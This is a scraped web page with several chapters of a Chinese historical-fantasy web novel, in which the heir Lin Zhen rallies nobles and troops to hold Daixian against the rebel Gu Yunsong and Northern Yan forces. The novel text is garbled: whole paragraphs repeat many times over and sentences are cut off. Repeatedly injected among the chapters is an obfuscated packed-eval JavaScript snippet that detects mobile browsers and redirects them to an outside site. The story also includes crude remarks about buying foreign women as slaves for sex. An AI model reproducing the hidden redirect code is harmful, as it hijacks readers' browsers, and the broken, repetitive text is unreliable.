“放屁!你们的良心都被唐三吃了?没有百姓你们去给谁当勋贵?老子这么做是为了你们八公家能世代相传受百姓拥戴。如果你们不领情我现在就进宫和陛下说拿掉你们的爵位 “别别别!世子!”芦步亭第一个站起来。 所有人都知道慕容嫣对林臻的宠爱更知道林震仙绝不可能造反只会听从皇帝的命令。 一旦林臻进宫那他们已经世袭两代人的家族瞬间就会土崩瓦解再无回天之力。 “世子我不说了都听您的!”芦步亭知道没办法改变林臻索性直接表态。 林臻同时也说道:“芦叔叔请放心德豪是我兄弟我不会让他去死同时你的四个儿子从今天开始都将在朝堂上有一席之地。” 芦步亭的眼睛瞬间变得雪亮! 卧槽! 林臻这句话的含金量可是太高了啊因为他是慕容嫣的宠臣在大乾几乎已经只手遮天任何官员的晋升都要接受他的建议。 而芦步亭家四个儿子一个比一个不争气继承爵位的长子不学无术领个兵部郎中的官职天天上班打卡打完卡就玩去。 其余三个不用多说看芦德豪就知道了。 现在有林臻的保证那芦家从此还能更进一步! “多谢世子老夫这就回去告诉他们!死战不退!”芦步亭脸色坚定地作揖转身便走。 他决定了以后就不折不扣跟林臻走一心一意听林臻的话。 只有跟着他芦家才能飞黄腾达成为百年世家! 杨建昌、窦明见芦步亭都走了自己在这讲清也多有无趣更何况林臻脸黑得像个锅底也不可能同意他们的请求。 微微叹了口气心说罢了。 与其在这让林臻这小辈数落倒不如回去琢磨琢磨怎么才能让自己儿子活下来于是二人起身告辞。 林臻看着他们心里真是五味杂陈。 当父亲的心疼儿子这无可厚非 但是在国家大义上居然打退堂鼓,这就绝不能容忍。 看来一王八公的事情,也是时候做个了结了。 这所谓的一王八公,那就是当年追随大乾第一任皇帝慕容龙打天下的九个人。 一王就是林臻的曾祖父,林傲天。官拜摄政王,是绝对的权威。 八公就是:勋国公、定国公、鲁国公、胡国公、尚国公、平国公、战国公、成国公。 一王八公世袭官爵封地,代代相传,早年先帝在位时曾想办法制裁过,但效果微乎其微。 因为八公已经世袭两代,几十年间相互联姻,相互通商,关系盘根错节,一荣俱荣,一损俱损。再有摄政王这尊大神掌握兵权,镇守京城,皇帝的话语权很低。 所以慕容嫣受先帝嘱托,想办法除掉林震仙也是很正常的。 阴差阳错之下林臻的穿越,才导致原来的剧情彻底改变。 不过对林臻来说这不是什么好事情,随着穿越的时间越来越长,原来的剧情线也越来越模糊,这里的历史与轨迹已经被彻底改变,再想利用金手指来谋划未来,已经不可取了。 以后林臻的任何布局都要依照现实出发,这对他来讲是种考验。 心里思索着这些事情,浣碧走了进来,手里端着晚餐托盘,一一摆放在桌子上,林臻盯着他妙曼的身姿,问道:“胖子还没来?” “回世子,胖爷已经到了,在会客厅里等着呢。” “什么时候来的?” “就刚刚呀,他要进来,侯春却说世子正在与国公们商量事情,所以便没有进。” “你把他喊进来一起吃饭吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946313|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “是,那妾身再去拿双筷子。” 浣碧乖巧地离开,很快胖子的大嗓门就传了进来。 “大哥!他奶奶的,胖爷听说那顾二鳖要造反?给他脸了!”胖子进门的进门的时候肩膀上砍着陌刀,浑身煞气很重。 这也难怪,前些时日他在鲜卑净杀人了。 回来后虽然勉强放松了几日,但还没有把杀气完全去除掉。 林臻挥挥手:“把刀放下,过来坐。” “哎。” 胖子把刀立在凳子边上,翘着二郎腿,抢过林臻的筷子当当当地往桌子上敲两下,夹起一个大鸡腿就往嘴里塞。 林臻还挺好奇:“你什么时候吃饭也用筷子了?” “废话,吃饭不用筷子用什么?学那些威尼斯人用刀叉?” “你还知道威尼斯人?” “对啊,都是跟着波斯那帮逼养的过来要饭的嘛,胖爷昨天心情不错,就买回去两个。” “世子请。”浣碧把筷子递过来,林臻点点头,继续问道。 “不对吧?我记得威尼斯人还是挺有钱的,怎么可能会被你买走?” “嗐。”胖子把鸡腿放在嘴里撸了一下,鸡腿瞬间就变成了鸡骨头,然后随手丢在桌子上,最后用满是油腻的手放在袜子上搓搓,冲着林臻摆了摆。 “他们是来做珠宝生意的,谁知道现在大乾根本就不缺珠宝?他们一兜子宝石卖不出去,只好卖身为奴了。” “你估计不能闲着吧?”林臻的言外之意就是胖子肯定给人家办了。 毕竟威尼斯的姑娘又白又高,身材顶呱呱,以前林臻看动作片的时候也十分偏爱这款。 胖子笑道:“呵呵呵,大哥你不知道,我这两天就腻歪在她们身上了。说真的,这外国娘们就是比大乾的耐草,而且丝毫不害羞!你看我们大乾的姑娘,就算是燕来楼里的花魁在上床前也得扭捏扭捏,她们可好,明明是黄花大闺女,说脱衣服就脱衣服,脸不红心不跳。诶大哥?你说她们是不是本国风气不好啊?” 第267章 我们就是最大的纨绔! 胖子的种种动作彻底让林臻失去了吃饭的兴趣,无奈地放下筷子叹了口气。 “这不是风气不好,而是风俗不同,她们那边很多的人都习惯不穿上衣,哦对,我说的是女人。” “啊?”胖子瞪大双眼。 胖子的种种动作彻底让林臻失去了吃饭的兴趣,无奈地放下筷子叹了口气。 “这不是风气不好,而是风俗不同,她们那边很多的人都习惯不穿上衣,哦对,我说的是女人。” “啊?”胖子瞪大双眼。 胖子的种种动作彻底让林臻失去了吃饭的兴趣,无奈地放下筷子叹了口气。 “这不是风气不好,而是风俗不同,她们那边很多的人都习惯不穿上衣,哦对,我说的是女人。” “啊?”胖子瞪大双眼。 胖子的种种动作彻底让林臻失去了吃饭的兴趣,无奈地放下筷子叹了口气。 “这不是风气不好,而是风俗不同,她们那边很多的人都习惯不穿上衣,哦对,我说的是女人。” “啊?”胖子瞪大双眼。 胖子的种种动作彻底让林臻失去了吃饭的兴趣,无奈地放下筷子叹了口气。 “这不是风气不好,而是风俗不同,她们那边很多的人都习惯不穿上衣,哦对,我说的是女人。” “啊?”胖子瞪大双眼。 胖子的种种动作彻底让林臻失去了吃饭的兴趣,无奈地放下筷子叹了口气。 “这不是风气不好,而是风俗不同,她们那边很多的人都习惯不穿上衣,哦对,我说的是女人。” “啊?”胖子瞪大双眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946314|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胖子的种种动作彻底让林臻失去了吃饭的兴趣,无奈地放下筷子叹了口气。 “这不是风气不好,而是风俗不同,她们那边很多的人都习惯不穿上衣,哦对,我说的是女人。” “啊?”胖子瞪大双眼。 胖子的种种动作彻底让林臻失去了吃饭的兴趣,无奈地放下筷子叹了口气。 “这不是风气不好,而是风俗不同,她们那边很多的人都习惯不穿上衣,哦对,我说的是女人。” “啊?”胖子瞪大双眼。 胖子的种种动作彻底让林臻失去了吃饭的兴趣,无奈地放下筷子叹了口气。 “这不是风气不好,而是风俗不同,她们那边很多的人都习惯不穿上衣,哦对,我说的是女人。” “啊?”胖子瞪大双眼。 第268章 再次出征 路程几百里从出发到打探清楚回来总是需要时间的林臻一直在书房里看大乾西边的地形图不知不觉间竟睡了过去。 浣碧不忍心想叫醒林臻回房间里。 突然想起林臻是在为大乾操劳更是在为大乾江山而思考。这个时候即便把他叫醒他也会继续坚持不会选择回房间睡觉。 想到这刚刚伸出去的手却僵在半空怎么也落不下去。 她最终无奈地叹了口气从里屋抱出来一条大氅。 秋深了夜里风急有条大氅盖在身上想来也不打紧。 随后又蹑手蹑脚地搬来一个小马扎坐在林臻脚边撑着美丽精致的下巴看着他。 老夫老妻也不知道看的是什么但浣碧总是看不够他的脸庞好像要刻进骨子里那般看来看去竟也睡了过去。 早上的时候三等丫头们进来准备打扫房间却见林臻和浣碧睡得香甜谁也不敢打扰于是就站在门外侯着。 直到林臻的头猛然低落下去这才想了过来迷迷糊糊间就看到一个女孩子正趴在自己腿上睡得口水直流弄得自己裤子湿了一大片。 他会心一笑心说肯定是浣碧这小妮子。 不管什么时候她都是始终陪着自己的。 好啊这种暖心的感觉真是好啊。 林臻很想把她横抱起来回房间去但显然目前的这个姿势做不到于是他摇了摇她的小脑袋:“碧儿 “唔吸溜”浣碧吸了一口晶莹的唾液擦了擦嘴角最后也睡眼惺忪地抬起美眸“世子.妾身睡着了。” “我知道快起来回房间去睡吧。”林臻心疼地把她抱到自己腿上。 这傻妮子给我披衣服也不知道给她自己披一件。 这若染了风寒可怎么得了。 “不睡不睡妾身要去给您打水梳洗还要吃饭呢!” 浣碧跳下去不给林臻搞怪的机会。 林臻摇了摇头再次站起来查看大乾疆域图。 昨天他已经在西边的两座土坡上标了点今天就该派人去打探消息了。 “猴子!” “在!世子!”侯春立刻走进来同时跟着他的还有三名丫鬟。 她们手里拿着扫把、簸箕和抹布看样子是准备打扫房间。 林臻一挥手:“你们先出去今天不用打扫书房了。” “是。” 丫鬟又退下满脸羡慕地看了看迎面走来与她们一 同出去的浣碧。 哪个丫鬟不希望翻身当家做主人呢?而浣碧就是她们最好的榜样啊! 林臻招招手把侯春喊过来,问道:“曹雄可回来了?” “回来了,而且曹雄把四大营穿插安排,全部派往四座城门,其中兵马司更是全员到位,都在西城门构筑防守阵地。” “不行,绝不能把战火引到京城来!”林臻昨天突然想起这件事情,此刻拍案大吼。 京城里人口太多了,而且京城虽然坚固但却是最后一道防线。 一旦失手,所有人退无可退。 “世子。”侯春说道,“以你之计呢?” “命令虎贲营留守京城,另外再给二卫传话,就说国内有人造反,命令他们护卫在京城周围。至于他们听不听,就不管了,反正等仗打起来,他们不听也会自己来。” “那其他三营怎么办?” “我亲自带其余三营去代县,在那里构筑防御阵地。” “啊?世子,您又要亲自上战场?” “不然呢?你让陛下御驾亲征?” “我我没说。” “这不就得了!”林臻拧眉瞪眼,“你立刻把四大营的统领都喊过来,另外再去刘府问问,刘恺威在哪!?为何还不来见我?” “是!” 侯春领命而去,与此同时,浣碧端来早餐。 林臻盯着丰富的饭菜实在是什么胃口,但架不住浣碧一个劲儿地劝。 坐下简单吃两口,很快,胖子就站在门口,像座小山似的大笑。 “哈哈哈哈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951578|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你看吧!我就说胖爷嘴壮!每次来都赶着饭点!”言罢走进来,坐下就开始吃。 这种大心脏的林臻都见怪不怪了,把自己吃剩下的半碗小米粥也递过去。 “纨绔都安排明白了吗?” “唔!吸溜.”胖子忙着吃也没抬头,含含糊糊地说道:“利害关系我都跟他们说了,不上战场就死,我亲自动手,当然没人敢哔哔。” “那就收拾一下,我们下午出发,去代县。” “啊?去代县?”胖子为之一愣,随即说道,“大哥你是想把战火前移?” 别看胖子平时虎头虎脑,但终究是带兵打过仗的,一点就通。 林臻点点头:“没错,京城不能受战火牵连,所以我现在命令你为京畿道大总管,带领三大营防守代县!” “啊?大哥,你说提拔就提拔啊?不需要找陛下商量商量吗?”胖子明明嘴角都快咧到耳朵根去了,还装模作样地问。 林臻翻个白眼:“你装什么装,赶紧吃,吃完赶紧带兵去!我告诉你,这一仗你要打不出彩来,以后你就当一辈子校尉吧!” “不可能!区区顾二鳖还想跟我王胖子拼,给他脸了!”言罢胖子站起来,叼着一个馒头转身便走。 他是最唯恐天下不乱的人,更别说这次破格提升大总管,带领的更是六卫中的精锐三大营。 若打不赢,他绝对会郁闷死。 “世子!世子!”院子外传来急迫的叫喊。 林臻望向侯春说道:“什么情况?” “世子!有准确消息,顾云松确实已经与北燕合谋,借来骑兵五千,步军三万,加上他自己在太行山偷偷豢养的军队五万,再算上粮草辎重共计九万人马,浩浩荡荡奔京城而来!面前已经翻过太行山,但他们是悄悄进军,一路上没有经过任何城池。瞧那架势,确实是准备偷袭代县!” 林臻听后冷笑道:“呵,就知道他们肯定会以代县作为进攻京城的跳板。顾云松啊顾云松,你还真是瞧得起自己呢。” 第269章 老夫告诉你,干得漂亮! 顾云松是长途急行军携带的干粮肯定不会太多林臻就是料到这一点所以才会把战线前移。 只要守住代县不用太久半个月即可顾云松就会因为粮草不济而退兵。 等到那时二卫已经反应过来并且包抄过去这些人将全都是大乾的俘虏。 而你北燕就是大乾打完南楚以后第一个要征服的目标! 林臻还在书房里等待着。 很快龙骧营、虎贲营、猎熊营、神机营四大营的统领全部到位。 因为曹雄一直跟着林臻所以目前虎贲营是归张大彪管理。 龙骧营统领莫酆、猎熊营统领赵刚神机营统领田志恒与张大彪一起站在林臻面前。 张大彪笑道:“哈哈哈哈见过世子!” 其余三人一同说道:“见过世子!” “唔大彪啊这次战斗非同小可 三人都是上过战场的当然知道军令不可违的道理纷纷点头抱拳:“世子放心!我等将为国而战绝不退缩!” “好事不宜迟你们立刻带兵出发告诉代县县令发生的事情接过城防管理权。” “是!” 三人转身便走丝毫不拖泥带水。 田志恒出了门还笑嘻嘻地对赵刚说道:“奶奶的终于有事儿干了!这次谁也不许和我们神机营抢我们要第一个冲上去!” 赵刚冷笑道:“你们神机营玩的是猎杀我们猎熊营才是真正的战场主力你们就躲在后面放放冷箭就行。” “不是老赵话可不能这么说我们神机营也是很有战斗力的好不好?” “呵我可没看出来要不我们两个营拉出去比比?” “拉出去就拉出去!但是你得让我们带手弩!” “屁!瞧你那点出息还带手弩?怎么肉搏不敢?” 都知道两位统领是想为自己阵营的兄弟博个功劳所以谁也不肯第二个出击。 唯有莫酆不言语。 “老莫。”赵刚不理会上蹿下跳的田志恒看向莫酆“这次是那王胖子带队你最好不要惹是生非否则那混球非弄死你不可!” 闻言莫酆的八字胡子翘了翘不屑地道:“一个纨绔带另一个纨绔而已会打仗么?把我们的身家性命交在他 们手中,真是可笑。 “住口!田志恒立刻大喊:“莫酆,你怎能在背后诋毁世子,这岂是君子所为? “君子?跟一个只知道吃喝玩乐的纨绔讲君子?你不觉得可笑吗? “世子不是纨绔,他可是第一个站在城楼上抵御南楚进攻的人!更是携大胜之威让王爷顺利南下! 赵刚点点头,“是啊,世子确实很有才华,老莫,你千万不要小看了他。 莫酆还是副嗤之以鼻的样子,没有再说话,三人走出王府。 林臻还不知道发生的这些事情,他在等刘恺威的消息。 这个兵部尚书管着很多军械和粮草,没有他的点头,这些东西谁也带不走,但直到现在他人都没有来。 慕容嫣到底和他说了些什么呢?以至于从昨天说到现在都不见人! 林臻隐隐有种很不好的预感,但又说不清是什么。 如果能调动二卫就好了呀,即便没有刘恺威的点头,光靠二卫也能打赢。 世事往往出乎意料,林臻抬起头,就看到刘恺威那张笑意盈盈的脸。 虽然是老丈人,但因为迟到,林臻可是没给他好脸色。 “刘大人亲临,本世子有失远迎啊。 刘恺威好像知道他在生什么气,笑着走进来。 “贤侄,息怒!叔叔我亲自在兵部查看了一大圈,才来和你汇报工作的。 “愿闻其详。 “我告诉你个好消息! 林臻眉毛一挑,“好消息?这个节骨眼还能有什么好消息? “八牛弩。刘恺威得意地说道,“自从上次你说让我帮你把八牛弩给小胖送去之后,兵部就一直在暗中生产,如今已经有三百架之多,攻城凿更是上万!足够你挥霍了吧? 刘恺威越说林臻眼睛越亮。 没错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951579|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因为之前生产的所有八牛弩都被带到了南方前线,此刻不够用,所以林臻才愁得慌。 没想到刘恺威从天降下一份大礼。 三百架。 好啊,他奶奶的,看老子这回不把你们北燕的骑兵射成兔子! “多谢叔叔。林臻的态度也顿时好转。 刘恺威笑道:“呵呵呵,你这臭小子,刚才还一副要和老夫拼命的架势,听闻有三百架八牛弩立刻变脸!小人!非常的小人! “你不知道,因为八牛弩不够用,我正在琢磨如何布置前线,而您又来得晚 “我知道,之所以来晚就是要确定八牛弩的数量, 刚才进门的时候看到赵刚他们了,问清楚原因后我已经命令人回兵部,将所有八牛弩送到代县。但是!” 说到这刘恺威突然说了句但是! 那股不祥的预感再次涌上心头,林臻小心翼翼地问道:“但是什么?” “但是.”刘恺威眯起眼睛,“你得告诉老夫,陛下到底是谁!!” 轰。 林臻懵了。 刘恺威怎么会怀疑慕容嫣的身份呢?难不成他发现了什么? “我不懂你的意思。” “呵,不懂?”刘恺威冷笑道,“好啊,那老夫就给你提个醒。陛下根本就不是皇子,而是公主吧?” 林臻咬牙,但是没说话。 可此情此景,即便他不说话,答案也已经呼之欲出。 刘恺威语不惊人死不休,竟然又说道:“林臻,你好大的胆子!竟敢侮辱当朝天子!该当何罪!?” 林臻攥紧双拳:“你想怎么样?” 见他一副准备拼命的样子,刘恺威便已经明白过来,顿时仰天大笑。 “怎么样?哈哈哈哈哈!你问老夫,老夫只想告诉你,干得漂亮!!” “嘎?” 刘恺威笑完激动地搂住林臻的肩膀,像个老变态似的。 “臭小子,你能把陛下泡到手,这江山就是你的了呀!” 第270章 愿我未来的夫君能胜利凯旋 这一惊一乍的变化太大了,弄得林臻有些恍惚。 就在刚刚刘恺威说出慕容嫣身份的时候,他都想杀人灭口了,谁知道转眼又来这么一出。 虽然现在林臻已经不惧怕任何流言蜚语,更不担心有官员会因为慕容嫣是女帝而造反。但他属实还没有把这件事情公之于众的打算。 他想顺其自然,该让所有人知道的时候自然就会知道。 刘恺威见林臻眼神还很不自然,笑着打了他一拳:“臭小子,还发什么愣啊?陛下能倾心于你这是天大的好事情!以后我们林家阵营将永世不倒! 倒不倒的,林臻不关心,他关心的是刘恺威怎么知道的。 “刘叔,你跟我交个底,你是怎么知道陛下真实身份的? “嗐!刘恺威摆摆手,成熟的脸庞上闪过一丝浑不在意,“本来官员们就在为陛下的身份感到怀疑,结果昨天老夫进宫的时候突然陛下的胡子没了!而且她自己浑然不知,所以我才来炸炸你! 刘恺威满脸奸计得逞的样子,“结果呢?哈哈哈,老夫看你满脸震惊还一副要吃人的样子,就知道肯定是被老夫猜中了! 林臻咬牙。 好啊好啊,我拿你当老丈人,你居然来炸我的口风。 既然如此,你就别怪我以彼之道还施彼身了。 林臻看着刘恺威哈哈大笑的表情说道:“刘叔,既然如此,我也告诉你件事情。 “怎么?想在老夫这里找回场子?不可能!哈哈哈哈! “颜颜已经是我的女人了。 “哈哈哈哈.嘎?刘恺威的笑声顿时戛然而止!然后满脸不可思议的看着他,“你是说颜颜? “是啊。 林臻得意地抱肩,一副要看好戏的样子。 却没想到刘恺威最开始是震惊,然后沉吟着点点头,最后抿着嘴剑眉倒竖的说道:“小子,你说的是真的? “当然是真的,你身为他的父亲,不会不知道她胸膛上有一颗美人痣吧? “你! 虽然刘恺威极力想促成这段婚姻,但毕竟是当父亲的,突然听到自己女儿被眼前这个男人睡了的消息,还是很不舒服。 有种割肉的感觉。 也难怪,女儿出嫁,最难受的其实是父亲。 “怎么?你不是说没办法找回场子吗? “哼,老夫这就去给颜颜写信,让她回来! “不可能的,颜颜喜欢战场,不会因为你的信就轻易回来。 ” 刘恺威回头,突然再次露出那奸诈的样子。 这表情让林臻很不爽利,有种再次上当的感觉。 “你放心,老夫只要说京城有变,林臻再次负伤,她就一定会回来。到时候你这王府.估计没一天消停日子了,哈哈哈哈哈!” 靠! 这老登! 在这等我呢! 林臻要再次出征的消息在王府内不胫而走,张俪、月妩、浣碧、晴雯四女自然是不舍的,但她们也都知道,这是家国大事,不是儿女情长的时候。 于是当天晚上的林臻爽飞了。 不仅让月妩亲自给自己洗脚,还吃到了张俪做的饭菜,浣碧和晴雯更是把他伺候得无微不至。 晴雯也出奇的安静,没有和任何人拌嘴,也没有吵着闹着要侍寝,一切的一切都很自然。 林臻喝了些酒,打算睡个安稳觉,却没想到这时大管家林安居然走了进来,手里拿着一封信。 餐桌边,林臻坐在主位,把信打开来看,发现落款竟然是上官婉儿。 他不解的看向林安:“少夫人可有说什么?” “回世子,没有。” “嗯,你下去吧。” 林臻打开信件,发现这纸竟然带着一抹芳香,上面只有简单的一句话:“祝君凯旋,妾身于家中等候。” 看来她也知道了自己即将出征的消息。 只是出于传统观念,还是不愿意只身来见。 这女人,还真是有意思得很。 此时此刻的上官婉儿正跪在一幅画像面前,香案上有三座灵位, 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早上林臻在张俪泪眼婆娑的伺候下穿好光明铠,戴上头盔,出门骑上战马。 他手握长枪,虽然不会用,但丝毫不妨碍他的威风凛凛。 “俪儿,照顾好家里,命令韩忠担任王府护卫营统领,这段时间,没有特殊的事情就不要出门了。” 张俪用手绢擦了擦眼角的泪痕,点头不语。 林臻看了看满脸期盼的月妩,再看看已经登上马车的浣碧,突然发现晴雯没有来。 估计这妮子正躲在哪里哭泣呢吧。 也或许正躲在某个我看不到的角落里偷偷望着我。 罢了,再想下去林臻都不舍得走了。 他挥舞下手中长枪,对着已经严阵以待的三百护卫喊道:“出发!!” “喝!喝!喝!” 三百将士齐声声大吼,随即跟在林臻的战马后面,奔城门而去。 第271章 当年的状元郎 代县。 当顾云松看到这座宏伟的城池时,脑瓜子嗡的一声。 因为他看到这里的驻军规模已经达到了平时的三倍,甚至在他进城后还看到了身着黑甲的龙骧营士兵正在往城门处赶路,肩膀上扛着各种器械、兵器,手里拿着挖陷阱的工具等等。 代县。 当顾云松看到这座宏伟的城池时,脑瓜子嗡的一声。 因为他看到这里的驻军规模已经达到了平时的三倍,甚至在他进城后还看到了身着黑甲的龙骧营士兵正在往城门处赶路,肩膀上扛着各种器械、兵器,手里拿着挖陷阱的工具等等。 代县。 当顾云松看到这座宏伟的城池时,脑瓜子嗡的一声。 因为他看到这里的驻军规模已经达到了平时的三倍,甚至在他进城后还看到了身着黑甲的龙骧营士兵正在往城门处赶路,肩膀上扛着各种器械、兵器,手里拿着挖陷阱的工具等等。 代县。 当顾云松看到这座宏伟的城池时,脑瓜子嗡的一声。 因为他看到这里的驻军规模已经达到了平时的三倍,甚至在他进城后还看到了身着黑甲的龙骧营士兵正在往城门处赶路,肩膀上扛着各种器械、兵器,手里拿着挖陷阱的工具等等。 代县。 当顾云松看到这座宏伟的城池时,脑瓜子嗡的一声。 因为他看到这里的驻军规模已经达到了平时的三倍,甚至在他进城后还看到了身着黑甲的龙骧营士兵正在往城门处赶路,肩膀上扛着各种器械、兵器,手里拿着挖陷阱的工具等等。 代县。 当顾云松看到这座宏伟的城池时,脑瓜子嗡的一声。 因为他看到这里的驻军规模已经达到了平时的三倍,甚至在他进城后还看到了身着黑甲的龙骧营士兵正在往城门处赶路,肩膀上扛着各种器械、兵器,手里拿着挖陷阱的工具等等。 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王胖子、芦德豪自然是好兄弟没说的。但那是两个活宝让他们吃喝嫖赌没问题甚至还能玩出点花来。但若是让他们干点正事那简直比登天还难。 就拿芦德豪来做比喻。林臻只能让他去看管开发区也只是瞪眼睛看管但没办法委以重任。 所以林臻这段时间一直在找人才。于是他先在清河县委任了孟令威的孙子孟尝;今天又遇到这个状元郎一点一点积累自己阵营里的人才就会越发庞大起来。 晚间林臻就在府衙里落榻将城防全部交给王胖子来管。 别看胖子和芦德豪是一路货色但他对行军打仗颇有心得排兵布阵也有自己的一套章法把这些事情交给他林臻很放心。 两天后。 顾云松终于与自己的大部队汇合。 负责带领本部兵马的是他手下大将朱世坤与北燕派来帮忙的上将霍天弘。 两个将领分别带领自己的兵马共计十万人在代县外汇集一处扎营布阵。 与此同时太行山道大总管造反的消息在大乾乃至整个华夏大地上不胫而走林臻更是下令紧闭城门在外围放置各种防御设施就等他们攻城。 顾云松却没着急大帐内他高坐主位喊来朱世坤和霍天弘商议对策。 “世坤情况你也看到了京城里的小皇帝已经知道了我们的计划现在更是派三大营来防守代县我们该怎么办?” 朱世坤有着一张阴狠的国字脸两撇八字胡也延伸出去老长像袁大头似的。 “大人我怀疑我们之间有内鬼。” “你是说这件事情是有内鬼通风报信?” “肯定是!否则小皇帝绝不会发现我们的计划!内鬼不除我们恐怕没办法安心攻城。” “唔此言有理但眼下我们只有不到三天的干粮若迟疑不定 “呵。”霍天弘就看不上顾云松这样畏首畏尾的家伙不由的冷哼一声“要我说你们大乾人就是没种一个两个内鬼根本无法左右一场战争的胜利。三天时间攻下代县所有问题都会迎刃而解!” 朱世坤最烦他这副心高气傲狗眼看人低的态度:“说得轻巧攻不下来怎么办?” “攻不下来只能说明你们无能!若换做我们北燕的重甲兵不到三个时辰就能拿下 代县!” 顾云松也有些不爽利。 虽然两边是合作关系,但你这明显是要当主导位置啊。 现在我才是主导! “可是你有重甲兵么?” “在下不才,愿意带五千重甲兵率先攻城!”霍天弘语出惊人,顾云松与朱世坤对视一眼,皆看出彼此眼中的笑意。 若是有北燕的人冲锋在前,他们就能坐收渔翁之利了。 不过显然能带兵出征的人也不是傻子,却见霍天弘说道:“不过,我可是有条件的。” “你说。” “我若攻下来,代县里的一切都是东西我的,包括财宝,粮食,女人!我想怎么就拿就怎么拿,你们进了城只能拿我们剩下的!” “若攻不下来呢?” “攻不下来,你需要为我补充兵源,作为汇报,今后我听你的命令。” 老奸巨猾! 霍天弘是打算用自己的重甲兵试试水,若有希望,自然会一鼓作气派大军压上,然后他从城中拿好处;若情况不妙,他立刻撤退,由顾云松给他补充战损士兵。 好算计啊。 可惜,顾云松或许打仗经验不足,但玩起权谋来可是没输过。 区区一介武夫,在他眼中,还是太嫩了。 “呵呵呵呵,霍将军快人快语,但代县可是京城门户,乃乾西第一坚城,你五千重甲兵是肯定拿不下来的,不如让我的人穿插在你的阵营之中,大家一起冲锋,如果破城,你先拿好处,我们捡剩;若不能破城,我们相互都有损失,也不用互补,如何?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959839|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话猛地一听没什么问题,但细细想来这里面全都是坑。 首先顾云松不会让自己辛辛苦苦积攒的士兵去送死,这是肯定的,就算与北燕兵合一处,也是往后面躲,不会冲锋陷阵。 这样一来,一旦破城,他有功劳,霍天弘自然不会把好处都拿走。 若不能破城,他不仅损失极小,还会让北燕重甲兵受到重创。 没了这金字招牌,北燕军队就是个垃圾,霍天弘也是个垃圾,以后不管是他还是他的部下,都会乖乖听顾云松的指挥。 敢这样说话并且允诺的人,一定是有着丰富的阅人经验,霍天弘显然不是对手,根本没有想到这一层,他认为这个协议完全合理,对自己也公平。 于是他站起身,对顾云松一抱拳:“既如此,你我一言为定,在下这就回去点齐兵马,准备攻城!” “好!世坤,你立刻安排五千人马进霍将军的重甲兵营,配!合!作战!” 顾云松特意把配合两个字咬得很重,朱世坤又是他多年老部下,瞬间就明白过来,当即答应。 “大人放心,末将一定安排到位!” 代县城楼上,所有士兵披甲挂胄,弓箭上弦,严阵以待。 林臻在四面城楼上巡视一圈,最后回到西城门,与王胖子站在一起。 “胖子,你看顾云松这兵阵如何啊?” 胖子一咧嘴,满脸的不屑,好像对面绵延数十里的不是军队,而是一座座青楼妓院。 “大哥你也太看得起顾二鳖了,他懂个鸟的兵阵啊?现在是中秋,天干物燥,他居然把军营安插在土坡下面,那里都是枯枝落叶,我们不管是防火还是决堤,都会波及到他的大营。退一万步说,就算我们不干那些遭天谴的事,只率领一队骑兵半夜劫营,也够他们受得,因为他们的军营扎的实在是太近了。” 不愧是上过战场的,说起这些话来头头是道,林臻颇为赞赏地拍了拍他的肩膀,邪笑道。 “那不如,我们现在就去劫营试试?” 第273章 “林臻这个竖子! 也不知道怎么,林臻看胖子笑起来总有种很憨厚的感觉。 但熟悉他的人都知道,这可是个笑面虎啊。 